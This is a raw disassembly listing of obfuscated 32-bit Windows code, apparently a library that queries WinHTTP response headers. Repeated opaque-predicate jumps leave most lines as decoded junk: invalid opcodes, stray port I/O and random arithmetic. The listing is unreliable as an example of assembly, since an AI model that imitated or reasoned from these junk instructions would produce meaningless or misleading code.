mov edi, 0xcea0cf75
rcr dword [esi + 0x2f5d4ea1], 1
sub byte [ebx], dh
test byte [eax + 0x4d], ah
popal
pop ss
sbb al, 0xe9
inc edx
cli
popfd
xor ecx, ecx
push 2
pushfd
test byte [0x1007ff88], 0x68
jne 0x1007ff89
inc dword [edi]
adc byte [eax + 0xf], ch
test dword [ebp + 0x7b000000], edi
mov ebp, 0x7b000000
jnp 0x1007fe96
enter 0xffffffffffffdb6b, 0x37
imul ebx, ebx, 0x37
inc esp
clc
rol ecx, cl
mov ebx, 0xabfb6989
nop
sbb ah, ch
call [ebx]
popfd
scasd eax, dword es:[edi]
mov ch, 0x29
mov al, 0xc0
cwde
mov esi, 0x56fb7b78
sbb ebx, dword [ebp - 0x4fd64a51]
rcr byte [eax - 0x4848742], 0x56
jne 0x1007feef
cwde
adc eax, 0x73116089
sbb dl, byte [edx - 0x2b]
dec edx
mov dword [eax + 0x11], esp
jae 0x1007ff0e
adc dword [ebx + 0x1a], esi
push edx
aad 0x4a
insb byte es:[edi], dx
jo 0x1007fe86
xchg dword [ebp + eax*8 - 0xb], edi
jl 0x1007fec2
cmc
jecxz 0x1007ff47
dec edi
and al, 0x85
jb 0x1007fede
inc ebp
sbb ebp, dword [0x8c18f069]
in eax, 0xe1
pop edx
sbb ah, byte [edx + 0x17]
js 0x1007ff75
stosd dword es:[edi], eax
aad 0x47
inc esi
aas
pop eax
mov esp, 0x1e3c7ffb
or ebx, dword [eax - 0x49]
outsb dx, byte [esi]
sbb bl, cl
mov esp, 0x1d49b1d
xor eax, ecx
jg 0x1007fef1
inc esi
cmp dword [eax - 0x52], esi
scasb al, byte es:[edi]
out 0x78, eax
inc edx
cli
mov ah, 0x92
sub eax, dword [ebx + 0x75]
lodsd eax, dword [esi]
mov ch, al
psllq mm6, mm4
push 0x6a93f56
in al, 0x2b
pop esi
and esp, dword [edi + 0x23e37b90]
arpl word [edi], dx
sub ebx, dword [esi + 0x23]
cmpsd dword [esi], dword es:[edi]
nop
jnp 0x1007ff31
and esp, dword [ebx + 0x17]
cmp dword [ebx + 7], edi
sbb dh, byte [0xe8e56059]
and ebx, edi
jbe 0x1007ff89
push ds
mov ch, 0x46
xor cl, byte [edi]
pop ecx
pop edx
cmc
xchg esp, eax
xor al, 0xe1
xchg byte [ecx], bh
je 0x1007ffb8
cmp al, 6
push esi
test dword [ebx + 0x1a], esp
or byte [ebx + ebx*8 + 0x47fd6a77], bl
xchg al, dl
adc dword [edx + 0x59], ebx
sahf
lodsb al, byte [esi]
dec esp
and eax, 0xc6d7eb12
invalid
popfd
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.100d04fd
mov esi, eax
pop ecx
mov dword [ebp - 0xcf4], esi
cmp esi, ebx
je 0x10086d51
mov eax, dword [ebp - 0xcbc]
add eax, eax
pushfd
test byte [0x1007ffd6], 0x28
pop es
adc byte [eax], ch
jne 0x1007ffd7
mov edi, 0x82626cfe
popfd
jns 0x1007ffea
adc al, 0xbe
xchg esi, eax
mov eax, dword [0x80ce6bce]
xor eax, 0xa85df9ed
xchg edx, eax
xchg edi, eax
out 0x30, al
aaa
popfd
push eax
pushfd
test byte [0x10080076], 0x51
jne 0x10080077
add byte [eax], al
add dl, ah
sti
loop 0x1007ffe4
or eax, 0x22768113
popal
stosd dword es:[edi], eax
adc eax, dword [ecx - 0x549edd8a]
outsb dx, byte [esi]
loopne 0x1008002f
out dx, eax
movsd dword es:[edi], dword [esi]
pop ecx
je 0x10080028
cmp byte [eax + 0x2391208f], cl
insd dword es:[edi], dx
packssdw mm7, mm5
insd dword es:[edi], dx
dec edi
dec eax
jg 0x1008005d
xor al, 0x2a
and ecx, edi
and ecx, edx
nop
salc
pop ds
or ecx, ebp
mov esi, 0x61a45a1b
outsd dx, dword [esi]
add dword [0xf1bd142e], 0xad7d449d
adc al, 0xb8
fldenv [edi - 0x125eef13]
cmp ebx, dword [ebx]
enter 0xfffffffffffff3d2, 0x18
sbb ah, byte [ebx - 0x39953aef]
in eax, dx
adc byte [ecx - 0x37e4c413], ah
sal bl, cl
sbb byte [edx], bl
mov dword [0xc66ac511], eax
xor al, 0x5e
push esi
or eax, 0x1cf337
aam 0xd3
dec dword [edx + 0x51]
scasd eax, dword es:[edi]
mov al, 0xeb
pop esp
stosd dword es:[edi], eax
mov edi, 0x5042af07
push esi
frstor dword [edi - 0x65]
int 0xa4
xchg ebp, eax
sbb esi, edx
dec esi
push cs
leave
stosd dword es:[edi], eax
dec ebx
fbld tbyte [ebx]
xor dword [edx + ebp*8 + 0x573ab7d3], ebx
jb 0x100800c9
xchg edi, eax
push ebp
lds ebp, [eax]
xor al, 0x4f
imul esp, dword [0x4f9d5256], 0xffffffea
insd dword es:[edi], dx
and eax, 0x4f9d5256
push edx
popfd
dec edi
ljmp 0xe1e8:0x56539d6d
popfd
push ebx
push esi
call fcn.1011df60
add esp, 0xc
push ebx
pushfd
test byte [0x1008015a], 0x6d
jne 0x1008015b
dec edi
lahf
pop edi
aaa
imul edi, edi, 0x56
jns 0x10080072
call dword [esi + 0x79]
fdivr dword [eax - 0x43]
js 0x10080059
sbb dword [ecx - 0xe8171d1], ebp
mov bh, 0xfe
xor byte [edx], dh
bound eax, qword [ecx + edx*2 + 0x41]
cli
dec eax
imul ebx, dword ss:[edx + eax*4], 0x4a
loop 0x10080070
dec edx
lodsb al, byte [esi]
jecxz 0x100800e3
dec edi
fisttp word [edi - 0x284653d1]
and al, 0xe6
lodsd eax, dword [esi]
mov eax, dword [0x817e4f0]
loop 0x100800a6
add ecx, esi
push ebp
mov ebp, 0x1ace826
mov ch, 0xd5
mov dword [eax + 8], esp
jle 0x10080096
mov ebp, 0xbda75ba5
sbb ecx, eax
fidiv dword [eax]
push 0xfffffffffffffff5
xchg esp, eax
dec edx
mov dword [0xc93dbd8f], edx
sub al, 0x17
mov ebp, 0x172cc93d
or esp, ecx
push ebp
mov esi, 0x9b21b9f
pop edx
sub eax, 0x98aae3be
sub byte [esi], bh
pop es
or byte [ebx + 0x54bf7f0b], dh
push es
cwde
add al, 0xed
sbb eax, 0xfe3d4a04
in al, dx
mov bl, 0xe1
push esp
push es
sahf
xor byte [esi - 0x63d368ff], al
je 0x1008018d
add al, 0x51
mov esp, dword [eax]
insd dword es:[edi], dx
movsd dword es:[edi], dword [esi]
cmpsd dword [esi], dword es:[edi]
mov bh, byte [edi]
mov bh, 0xc5
adc eax, 0xb2aecec2
movsb byte es:[edi], byte [esi]
daa
daa
cmp al, 0x8c
popal
adc byte [ebx - 0x39], ch
lea esi, gs:[eax]
insd dword es:[edi], dx
salc
cmc
aad 0xb1
or al, 0x82
jns 0x10080153
inc edi
scasb al, byte es:[edi]
cmp byte [ebp + ebx*8 - 0x38], 0xc7
outsb dx, byte [esi]
mov dh, 0x28
dec eax
out dx, eax
clc
inc esi
loop 0x100800e8
mov eax, dword [0x17f480d7]
xlatb
xor ah, 0x17
insb byte es:[edi], dx
sar dword [ecx - 0x3d], cl
popfd
lea eax, [ebp - 0xcbc]
pushfd
test byte [0x100801b3], 0xde
jne 0x100801b4
inc ecx
pop eax
jae 0x100801d3
push ecx
xchg ecx, eax
add bh, byte [edx]
or al, bh
inc dword [ecx + esi*8 + 0x7e80a5a9]
stc
popal
mov eax, 0x25bad2c5
or dword [ebx], edx
add byte [edi], cl
xchg ebp, eax
or al, dh
pushfd
test ecx, esp
xor eax, dword [ebx + ecx - 0x2bc77afc]
loope 0x100801c2
test byte [ebx], cl
add al, 0x85
cmp ah, dl
xor al, 0x18
mov al, byte [0x67eddf66]
cmp edx, dword [bx + si + 0x4428]
nop
cdq
push edx
mov ch, byte ss:[edx + 0x3fb0af3a]
sub dword [ebp - 0x72], esp
fistp dword [edx - 0x4820bb61]
popfd
push eax
push esi
push ebx
push 0x16
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
pushfd
mov eax, 0x9c101463
test byte [0x1008026d], 0xe1
jne 0x1008026e
add byte [edx + ebp], bl
sbb al, 0x2a
push es
nop
dec ebp
jge 0x10080170
mov edi, 0xbd848d4c
push eax
movsb byte es:[edi], byte [esi]
sti
sbb byte ss:[ebp - 0x1d], al
mov esp, 0x94991b26
cmp esi, ebx
push edi
call 0x79c59de1
test al, 0x66
fcmovbe st(0), st(1)
xor al, byte [edx]
inc edi
invalid
dec esi
popfd
test eax, eax
je 0x10086cdd
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
adc al, 0x10
inc eax
cmp eax, 0x3fffffff
jle 0x100803bc
invalid
xor esi, esi
pushfd
test byte [0x100802b5], 0xcb
je 0x100803b6
xor dword [ecx + 0x61bf85eb], ebx
salc
pop esp
xlatb
and ebx, dword [edi]
mov esi, 0x49a0d3a4
pop eax
mov dword [0x14ec57e9], eax
push 0xb6250695
and al, 0x2f
scasd eax, dword es:[edi]
in eax, dx
mov gs, word [ebx - 0x64]
mov word [eax + 0x53], gs
or eax, 0x920e8525
push 7
pop eax
mov ebp, 0xb436a04
push edi
inc eax
add al, 0x6a
inc ebx
or edx, dword [edi + 0x36]
inc eax
sub al, 0x9b
js 0x1008027c
push ds
inc ebx
jge 0x100802fa
sbb ebx, eax
push ds
pop edx
cdq
cmpsb byte [esi], byte es:[edi]
js 0x10080281
mov al, byte [0x3d4768e5]
cmpsb byte [esi], byte es:[edi]
push ds
jg 0x1008026d
mov edi, ebx
lds esp, [esi + 0x64]
or esi, dword [edx - 0x30ef8183]
lodsd eax, dword [esi]
push ebx
rol byte [0x47b13ddc], cl
int 0xf
fdivr qword [0xfcd47b1]
jns 0x10080355
je 0x100802c8
int 0x37
mov byte [ebx - 0x2c], al
out 0x85, eax
salc
dec ecx
out 0x7e, al
push esp
sbb bh, dl
cwde
pushal
cmp dl, 0x9a
xchg esi, eax
jb 0x10080359
adc dword [ebp - 0x716603a4], esp
jb 0x10080357
mov dl, 4
sbb byte [ebp - 0x76], al
add dl, byte [esp + ecx*8 - 0x2c]
xchg esp, eax
lahf
or eax, 0xd41b5760
in eax, dx
mov ebp, 0x963f187d
out 0xda, al
inc ebp
lahf
shr ecx, cl
sbb cl, byte [eax + 0x7bd7b861]
test byte [esi - 0x12], ch
jge 0x10080358
rcr byte [ebp + 0x126f86f], 1
adc bl, byte [ebp + 0x33]
pushal
add dword [edx], edx
pop ebp
xor esp, dword [eax - 0x48]
xchg esi, eax
mov eax, 0xf02ab296
mov dl, 0x2a
sub dh, al
invalid
mov eax, 0x97b67a7f
mov bh, 0xe6
adc esp, esp
daa
fist word [edi - 0x67]
sahf
sub al, byte [ebp + 0x22047674]
add dword [ebp + 0xe], ebx
test eax, edx
xchg dword [esi + ebp*2], eax
salc
jae 0x10080304
enter 0xffffffffffffc4fc, 0x7e
sbb al, 0x96
movsd dword es:[edi], dword [esi]
mov edx, 0x5edb248e
sal byte [esi - 0x762c1822], cl
mov ebp, 0x7f93e4c9
jg 0x100803da
mov byte [ebx + 0x54], ah
test byte [eax + 0x2a], al
cmp al, 0xcc
jb 0x1008039f
aas
jae 0x10080357
mov bh, 0xc5
mov ebx, 0x5baa172e
lds edi, [ebx + 0x5baa172e]
push cs
aaa
inc edi
xchg edx, eax
out dx, eax
scasb al, byte es:[edi]
idiv dword [edi]
mov ebp, dword [edx + ebp*4]
jne 0x10080350
xor al, 0xa7
cmc
popfd
jmp 0x100805a6
lea esi, [eax + eax]
pushfd
test byte [0x1008046d], 0x51
jne 0x1008046e
pushal
int1
adc al, 0xa2
push ds
mov eax, 0xd0fda45b
cmp edx, dword [ebx]
cmp byte [ebp - 0x3d], 0x31
xchg ebx, eax
sub al, byte [esi]
sbb eax, 0x4a47dea6
xor dword [ebx - 0x59e2f9d6], edx
fiadd word [edi + 0x4a]
adc ah, ch
pop edx
in al, 0xf2
adc al, 0x91
cld
push edi
push ebx
mov edi, 0xc5160b32
insb byte es:[edi], dx
cmp ebp, dword [edi - 0x6142f652]
sal byte [eax], 0x6f
movsb byte es:[edi], byte [esi]
aad 0xc5
int 0xbd
outsd dx, dword [esi]
je 0x10080453
js 0x1008042b
and edi, ebp
cmp esp, 0xffffffe4
pop edi
rcl ebp, 1
or eax, 0x8731b14f
pop ds
test al, 0xce
jnp 0x100803b7
xchg ebx, eax
jb 0x100803dd
bound ebp, qword es:[esi - 0x2ede1c47]
or byte [0xa61947e8], cl
scasb al, byte es:[edi]
mov ecx, 0x8d121e3
or eax, 0xa61947e8
cmpsb byte [esi], byte es:[edi]
popal
lds edx, [eax - 0x210f5b85]
dec edi
xchg ebp, eax
insd dword es:[edi], dx
mov ebp, 0x87e470e6
mov ebp, 0xa99b848c
or dword [esi + 0x45], ecx
dec esi
inc ebp
out 0xcf, al
add esi, dword [ebp - 0x4478c770]
fidiv dword [ebx + edi*8]
push cs
jno 0x10080441
inc ebx
shr dword [esi - 0x6d], 1
outsb dx, byte [esi]
xchg ebx, eax
cld
sbb eax, 0x4214ec68
add eax, dword ds:[esi + 0x82089fb]
mov esi, 0x1bb85e3f
div dword [esi + 0x4a4b0fd3]
push ebp
popfd
mov eax, esi
call fcn.101222f0
mov eax, esp
push 3
push esi
push dword [ebp - 0xcf4]
push eax
call fcn.10052d0b
pushfd
test byte [0x100804a2], 0x82
jne 0x100805a3
adc bh, byte [ebx]
push ds
mov dh, 0x38
jo 0x10080421
inc esi
out 0x9b, al
test eax, 0xdd8ce28b
imul esp
fisttp dword [edi - 0x14]
sbb eax, 0x9c7cc489
jbe 0x100804f6
and ebp, dword [ebx + 0x2354365b]
clc
lodsb al, byte [esi]
shl al, 0xab
or byte [ebx - 0x791aaf9e], ah
mov dword [0x86e55062], eax
or eax, 0x94c5769f
test eax, 0xf2a72b50
neg byte [ecx + edi + 0x262ef394]
popal
adc edx, edx
mov edx, 0xbd945471
push cs
mov bl, 0x7d
push ebx
cmpsb byte [esi], byte es:[edi]
arpl word [esi - 0x26], bp
pop ebp
push ss
out dx, eax
inc esp
dec ecx
imul ecx, dword [esi + 0x47e9c4c8], 0xf4db1923
das
mov al, 0xe
dec eax
adc edi, ecx
cmp al, 0x38
pop ebp
mov esi, 0xabc374f8
jns 0x100804bd
jne 0x10080575
cmp byte [0xf7601a8e], ch
sbb byte [eax + edi*8 - 0x20], bl
stosd dword es:[edi], eax
neg dword [eax - 0x6757ad6d]
pop ecx
sub dword [edi], 0xa4ae7324
jbe 0x100804fc
test al, 0x64
pop es
xchg eax, edx
xchg ecx, eax
cwde
dec ecx
pop ds
inc eax
xchg ebp, eax
test dword [edi + ebp*2 + 0x60], edi
cli
xchg byte [esi + 0x45ad9489], ch
sub dword [ecx + ebx*2 - 0x58f813a8], esi
in al, dx
or dword [edi], ecx
pushal
cmpsd dword [esi], dword es:[edi]
in eax, 0x53
int3
sbb dword [ebx - 0x61216bd7], ecx
pop eax
and dword [ecx], eax
fbstp tbyte [ebx + eax*2 + 0xd]
sub al, 0x40
ror byte [edx + 0x7f], 0x2d
xor al, byte [ebx + 0x124a587f]
inc esi
insd dword es:[edi], dx
cmp byte [edi], dh
jo 0x100805ec
and eax, 0xdc362a06
xchg esp, eax
out 0xa7, al
dec ecx
push es
sub dh, byte [esi]
fcom qword [esi - 0x6137b659]
jne 0x100805cd
enter 0x759e, 0x4c
call 0xda4479ce
or byte [edx - 0x2a31fba8], ch
cwde
mov edx, 0xc640e344
int 0xf8
dec edi
xor al, 0x93
je 0x10080555
cmp eax, 0x9c7ee64
inc ebp
sub dword [edx], esp
js 0x1008057d
popfd
mov esi, eax
push esi
call fcn.1011d740
pushfd
test byte [0x100805cd], 0xb9
jne 0x100806ce
add eax, 0x100805cd
mov ecx, 0x114850f
add byte [eax], al
dec ebx
leave
mov dword [0x52d892f0], eax
cld
cmp ebp, dword [ecx]
sbb byte [edi + 0x5d], ah
xchg ebp, eax
xchg ebx, eax
cmpsb byte [esi], byte es:[edi]
leave
int 0xc9
pop ss
inc eax
mov ecx, 0xa66078f3
mov byte [ebx - 0x4262bd0e], 0x96
aam 0xa5
insb byte es:[edi], dx
shl byte [edi], 1
push edi
and edx, dword [esi]
lahf
fcom qword [ebx + 0x3d]
push eax
sub edx, eax
clc
mov gs, ebp
cmp al, 0x3a
aaa
cli
sbb bh, 0x85
dec edi
pop edx
cli
inc ebx
sbb bl, cl
int 0x7c
mov ebx, dword [esi - 0x48f42068]
sbb ecx, dword [edx - 0x7952236a]
rcl dword [edx + 0x43], 0x32
sub eax, ecx
call 0xe85c24f9
xchg esi, eax
cdq
cdq
lea eax, [ebx]
push es
lodsb al, byte [esi]
xor eax, edx
cmpsb byte [esi], byte es:[edi]
push esi
mov esi, 0xca858ec9
pop ebx
jne 0x100805ae
sbb dword [esp + ebx*4 + 0x6372d4fc], ecx
push es
pushal
mov bl, 0x4a
fistp dword [esi]
pop esi
inc edi
loop 0x1008060f
jo 0x1008066f
push ecx
scasd eax, dword es:[edi]
or eax, 0x237a7904
adc eax, 0xcb98edc6
mov dword [0x1ca36baf], eax
mov ebp, 0xaf542005
pop esi
lodsd eax, dword [esi]
jo 0x100806ac
scasb al, byte es:[edi]
mov ah, 0xa8
and eax, 0xc9a5ba04
cmp ch, dh
int3
push edi
or ah, byte [edi - 0x69]
pop esi
or al, 0x87
stc
cwde
fadd qword [eax - 0x34]
cli
mov dword [esi - 0x56], edi
jl 0x100806b3
lds eax, [esi - 0x7ca242cd]
mov esi, 0x26924555
mov al, byte [0x124f2afb]
pop eax
push ebx
call [ebp + 0x1bc66a53]
int3
mov dh, 0x8a
jle 0x10080701
xor dword [ebx], esi
xchg esi, eax
leave
add ebp, dword [ebx - 0x7fb7987e]
add eax, 0xa629b1aa
pop ebx
lds ebp, [ebx + 0x44c96dd2]
mov edi, 0xa3720ef3
out 0x87, al
pop eax
popfd
pop ecx
push eax
pushfd
test byte [0x10080709], 0x62
jne 0x1008070a
or eax, 0x8451b6ba
sbb eax, 0x9b462bf8
clc
sub eax, dword [esi - 0x65]
and eax, 0x6d7aa4da
and cl, byte [edx + 0x2c]
jne 0x10080704
xchg ebx, eax
cwde
xchg esi, eax
add dh, ah
push 0xffffffffffffff88
adc cl, byte [ecx - 0x5b]
or eax, 0xe3ae8143
dec esp
push eax
scasd eax, dword es:[edi]
test ebx, eax
jo 0x10080762
fcmovnb st(0), st(2)
and al, 0x40
popfd
lea ecx, [edi + 0x48]
push esi
mov dword [ebp - 0xcc4], ecx
call fcn.10005303
mov dword [ebp - 0xcd8], ebx
mov dword [ebp - 0xcd4], ebx
mov dword [ebp - 0xcd0], ebx
pushfd
test byte [0x100807a1], 0x88
jne 0x100807a2
invalid
rcr byte [eax - 0xd], cl
out 0x56, eax
inc edx
sbb dl, dl
cmpsb byte [esi], byte es:[edi]
jne 0x100806e1
add dh, ch
mov al, byte [0x289adfca]
xchg byte [ebx + 0x2d], dh
and dh, byte [ebx]
jecxz 0x10080723
sub eax, dword [ebx]
jne 0x10080786
loop 0x100806e1
add byte [ebp - 0x57], 0x77
mov edi, 0xf5227dd1
jge 0x1008077f
cmc
jno 0x100807dd
rol byte [ebx - 0x7e], 1
arpl word [eax - 0x24], bx
and byte [ebx + 0x58], 0xdc
shr dword [eax - 0x19], 0x7f
lea eax, [ecx + 0x696fc9f7]
lahf
loopne 0x1008075b
xor byte [ebx + 0x2d], bl
rcr dword [ecx], 0xf2
push 0xe29fc49d
pop ds
jo 0x100807f5
mov dh, 0xf9
push edi
call dword [eax - 0x6c]
xchg esp, eax
pop edi
cmp dword [ebp + eax*8 + 0x1a], esp
mov word [ebx + 0x74], fs
jl 0x100807ae
cdq
shl byte [esi], cl
push ebp
sub cl, byte [eax + 0x64]
loop 0x100807dc
push ds
and byte [ebx - 0x43], bl
xchg ecx, esi
in eax, 0xc0
popfd
push 0x10146825
lea ecx, [ebp - 0xc78]
pushfd
test byte [0x100807c3], 0xfd
jne 0x100807c4
cdq
or bl, byte [esi + 0x42]
xor al, 0x5c
or byte [ebp + 0x5b92ab3c], dh
popfd
mov byte [ebp - 4], 2
call fcn.10005af6
mov byte [ebp - 4], 3
cmp byte [edi + 0x160], bl
pushfd
test byte [0x10080848], 0x1b
or byte [eax], cl
adc byte [ebx], bl
or byte [eax], dl
sbb esi, dword [ebp + 0x67]
jne 0x10080849
fisub dword [ecx + 0x39]
push edx
movsb byte es:[edi], byte [esi]
lds eax, [ecx + 0x43f8ad3b]
clc
and dword [edi + 0x23bd3ab8], esp
push ecx
cmpsd dword [esi], dword es:[edi]
mov word [ebx - 0x1e348ff7], gs
mov dl, 0x1e
sub byte [edx + ebx*8], bh
inc edi
cmp al, 0xa2
inc esp
mov ebx, 0xf69b4163
outsd dx, dword [esi]
leave
xor esi, 0x9e1a9a8b
imul edx, ebx, 0x28
sti
stosb byte es:[edi], al
push 0x55
sbb eax, 0xd3de75e4
mov dword [0x9e30b6c5], eax
adc eax, edi
fsubr st(0)
xchg ecx, eax
fdiv dword [ebp - 0x39]
mov ebx, 0xe6e525eb
test dword [edi - 0x345c2a2c], 0xc123197d
xchg edi, eax
cdq
inc ebp
xchg esi, eax
shr ah, 1
out dx, eax
mov esi, dword [esi + ecx]
leave
test edx, ebp
mov ecx, esi
popfd
jne 0x10081fff
mov esi, str.charset_A_Za_z0_9___
push esi
call fcn.1011d740
pushfd
test byte [0x10080869], 0x92
jne 0x1008086a
call 0x9574ebba
popfd
pop ecx
push eax
push esi
lea ecx, [ebp - 0xc78]
pushfd
test byte [0x100808d8], 0x8f
jne 0x100808d9
into
jnp 0x100808d5
cmp al, 0x53
fnstcw word [edx + 0x6bfa44a2]
jbe 0x10080897
jg 0x100808b6
xchg esp, eax
push edi
pop ss
insb byte es:[edi], dx
mov al, byte [0xb851550b]
salc
xchg byte [edi - 0x6eda7c98], cl
inc esi
aam 0x93
push 0xffffffffffffffef
enter 0x45b3, 0x7e
mov dl, 0xb3
test al, 0x3d
xchg edx, edi
aad 0x6d
xchg dword [edx], ebp
mov edi, 0x6f8bbf6b
mov bh, 0xf1
mov ebp, dword [edi - 0x49]
int1
div dl
fidivr dword [edi + 0x50c539e3]
mov ecx, dword [edi]
pop ebp
sbb dword [ebx], edi
popal
cmp eax, 0xdf2bb60b
cmpsb byte [esi], byte es:[edi]
mov dl, 0xfd
test eax, 0xc7ca73c7
mov bh, 0xd3
pop edi
invalid
popfd
call fcn.10005303
xor eax, eax
push eax
push ebx
lea eax, [ebp - 0xce0]
push eax
pushfd
test byte [0x100809d8], 0xb5
jne 0x100809d9
leave
cmp esi, dword [ecx - 0x1f]
add eax, 0x1d9a365
in eax, dx
test byte [edi - 0x3f], 0x96
fist word [edx - 2]
mov edx, 0x1ba2bc8a
inc esi
mov eax, 0xfbe837bd
pop eax
pop es
jbe 0x1008093b
xchg byte [esp], dh
fild word [ecx - 0x28]
rol byte [eax + 0x30], 1
pop esi
mov dword [0xfe36ba3c], eax
stosb byte es:[edi], al
xor dword [ebp + 0x39], 0x64
sar esi, 0xc6
test eax, 0x4465ee1f
pop es
xchg ecx, eax
sbb esi, ecx
and bl, byte [ecx + eax*4 + 0x60]
pushal
jne 0x1008091e
and dword [eax + 0x60], 0xf6e8de75
inc ebp
add dword [ebx + 0x2c4e6673], 0xffffffbd
call 0x938b4f3b
jae 0x100809ad
dec esi
sub al, 0xbd
or dword [eax - 0x4d03dcdf], 0x29032eb1
or ch, byte [eax - 0x55cc0c4f]
fldenv [ecx + 0x7d]
sti
mov ecx, 0xbd8900ee
xor eax, 0xb14358ae
sbb ecx, dword [edx + eax]
sub eax, 0x202b968f
imul edi, dword [edi - 0x46], 0x5d
in al, dx
mov ecx, dword [edx - 0x4f]
xchg esi, eax
fstp xword [eax - 5]
mov dword [esi + ebx], 0x3273abc2
cmp esp, dword [edi - 0x58aee84b]
sub edx, ebx
scasb al, byte es:[edi]
lodsb al, byte [esi]
mov dl, 0xbc
dec ecx
push ecx
inc ebx
daa
das
jae 0x100809f6
mov dword [0x79a7f25c], eax
push ebx
cmp al, 0x64
jns 0x100809a9
sbb dh, byte [eax + 0x6f]
and dl, bh
xchg ebx, eax
mov dword [0xf22027c6], eax
and dl, dh
into
inc esp
inc esp
or al, 0x67
add byte [ebp + 0x15ca0f56], ch
xchg ebx, eax
or ecx, ebx
sti
xor dword [edi - 0x3b], esi
jne 0x100809a6
dec ebx
int1
cmpsb byte [esi], byte es:[edi]
mov al, byte [0x3f25424a]
xor esi, dword [eax - 0x2e18d394]
inc ebp
mov byte [eax], dh
add al, ah
imul ebx, dword [ecx], 0xa9129617
popfd
lea ecx, [ebp - 0xcd8]
call fcn.10078ae1
cmp dword [ebp - 0xc68], ebx
jbe 0x10081fff
pushfd
test byte [0x10080a1f], 0xe8
jne 0x10080b20
or byte [eax], dl
call 0x11298f0c
add byte [eax], al
xchg dword [edi - 0x3a], eax
xchg ebx, eax
cmp cl, byte [ecx]
adc byte [esi - 0x4c], 0xbb
pop eax
sbb byte [ebp - 5], ah
sti
mov dword [0xd90da978], eax
int1
mov ah, byte [edi + 0x36a8ed21]
pushal
sbb dword [ecx + ecx*2], esi
pop ds
scasd eax, dword es:[edi]
sbb esi, 0xafe91e1f
inc esp
jo 0x10080a78
loopne 0x10080a2c
fcmovne st(0), st(7)
and eax, 0xd988fd9
cmp byte [edi + 0x1b], al
xlatb
int3
iretd
or ah, byte [edx + 0x60a94a33]
jo 0x10080a0b
cmp bh, al
add eax, 0xb0a4bb27
scasd eax, dword es:[edi]
imul eax, dword [ecx + 0x28], 0xffffff8b
lodsd eax, dword [esi]
ror dword [ecx + 0x75c1357f], 0x5b
salc
pushfd
cmp al, 0x19
cmpsb byte [esi], byte es:[edi]
inc ebx
and dword [edx + 0x24], 0x7c921e4c
fisttp dword [edi]
push cs
mov dword [edi + 0x5d9f9b65], edx
sub bh, al
xchg esp, eax
leave
add byte [eax - 0x62], dl
adc dword [edx - 0x77], 0x24
add ecx, dword [0x1ebd10a0]
dec edi
inc edi
test byte [ebp + edx*2 + 0x24], ch
dec ebp
outsb dx, byte [esi]
mov ecx, 0x5cb848b3
add al, dl
adc dword [esi], eax
add eax, 0xf0b81f48
pop ecx
xlatb
xchg dword [edx + 0x1cbbc080], ebx
mov cl, ah
push cs
cmp ecx, edx
scasd eax, dword es:[edi]
insd dword es:[edi], dx
sub ecx, dword [0x936916c8]
push edx
daa
sbb dword [eax - 0x227e44d0], ebp
stosd dword es:[edi], eax
inc ebx
call 0xa43ed677
jl 0x10080ace
out 0xa, al
xchg ebx, eax
cmpsb byte [esi], byte es:[edi]
int3
popfd
mov esi, dword [ebp - 0xcc4]
cmp dword [esi + 0x10], ebx
jbe 0x10081fff
lea ecx, [ebp - 0xd24]
call fcn.1005ee46
cmp dword [ebp - 0xc64], 0x10
mov eax, dword [ebp - 0xc78]
mov byte [ebp - 4], 4
pushfd
test byte [0x10080c01], 0x57
jne 0x10080c02
add dword [eax + ecx], ecx
adc byte [edi + 0xf], dl
test dword [eax + 0x70000000], ebp
mov eax, 0x6b26fe63
jo 0x10080b4f
mov eax, 0x6b26fe63
push edi
add al, byte [eax]
cmp eax, 0x6907406c
cdq
les esp, [esi + 0x139e270c]
push esi
stosb byte es:[edi], al
imul ebx, dword [ecx + 0x270ca6c4], 0xaa56139e
jecxz 0x10080b68
sbb eax, 0xabca6099
cmp ah, byte [edx - 0x47cd4c9a]
les ebx, [edi]
sub byte [edi], dl
xchg byte [edi - 0x3aec0238], ch
nop
dec ebx
mov cl, 0x71
sub byte [esi - 0x31], 0xe6
cmp dword [0x30a8bcb6], 0x6087f173
jge 0x10080b55
push es
movsd dword es:[edi], dword [esi]
push eax
adc eax, 0xd5ccecf3
out dx, al
aad 0xee
mov word [ecx - 0x3a], ss
loop 0x10080ba4
push ebp
push esp
sal dl, cl
int3
popfd
jae 0x10080c0b
lea eax, [ebp - 0xc78]
push ebx
push eax
pushfd
test byte [0x10080c3b], 0x7e
jne 0x10080d3c
or ah, al
sub eax, 0x4b4525f
imul esp, dword [esi], 0xdb6c305b
push es
sbb eax, dword [edx]
scasb al, byte es:[edi]
sbb eax, 0xa15543a0
xor eax, 0xc4809acf
push ebx
mov eax, 0xc8e4fd64
xor al, 0x28
nop
jns 0x10080c70
sub dword [edx + 0x7f], eax
dec ebp
mov ah, 0x66
push cs
shr byte [ebx], cl
sub ah, byte [eax]
jecxz 0x10080c7a
dec ecx
pop ebx
lodsd eax, dword [esi]
aaa
xchg ebx, eax
push 0xee2ac77e
sbb dword [ecx - 0x5d], 0xc60e70b7
shr dword [ecx + 0x4fc0eb1c], 1
out 0xc, eax
or ebp, dword [ecx + 0x2d]
sahf
pop ecx
inc ecx
test bl, bl
sub eax, 0x53dca50a
mov edi, 0x59aec05d
in eax, dx
or ah, byte [ebp + 0x5dbf53dc]
shr byte [esi + 0x4222ed59], 0x91
and al, byte [edx - 0x6f]
cmpsd dword [esi], dword es:[edi]
test dword [0x3e96434c], ecx
xchg ecx, eax
inc edi
and dl, byte [ebx]
add dword [edx], ebx
loopne 0x10080ccb
push ebp
bound ebp, qword [ecx + 0x51]
and al, 0x47
push cs
test al, 0x33
sub dh, cl
xor ebp, dword [edx]
int1
xchg dword [ecx + 0x404e3c3d], ecx
js 0x10080c95
xor dword [eax], ebp
pop dword [edi]
je 0x10080ca9
adc bh, byte [eax + 0x7ee84dbf]
or eax, 0x82a32c51
mov edi, 0x3e7ee84d
or eax, 0x82a32c51
call dword [ecx - 0x12c0c78d]
fptan
cmp eax, 0x9aa19ac0
push ecx
je 0x10080d1c
push edx
xchg esi, eax
add al, 0xbd
add dh, 0xbf
fisttp qword [eax + 0x24e0cefd]
mov edi, 0xcefd88dd
loopne 0x10080cf6
and al, 0xa0
enter 0xfffffffffffffcad, 0x73
mov al, byte [0x73fcadc8]
call 0x24aa6652
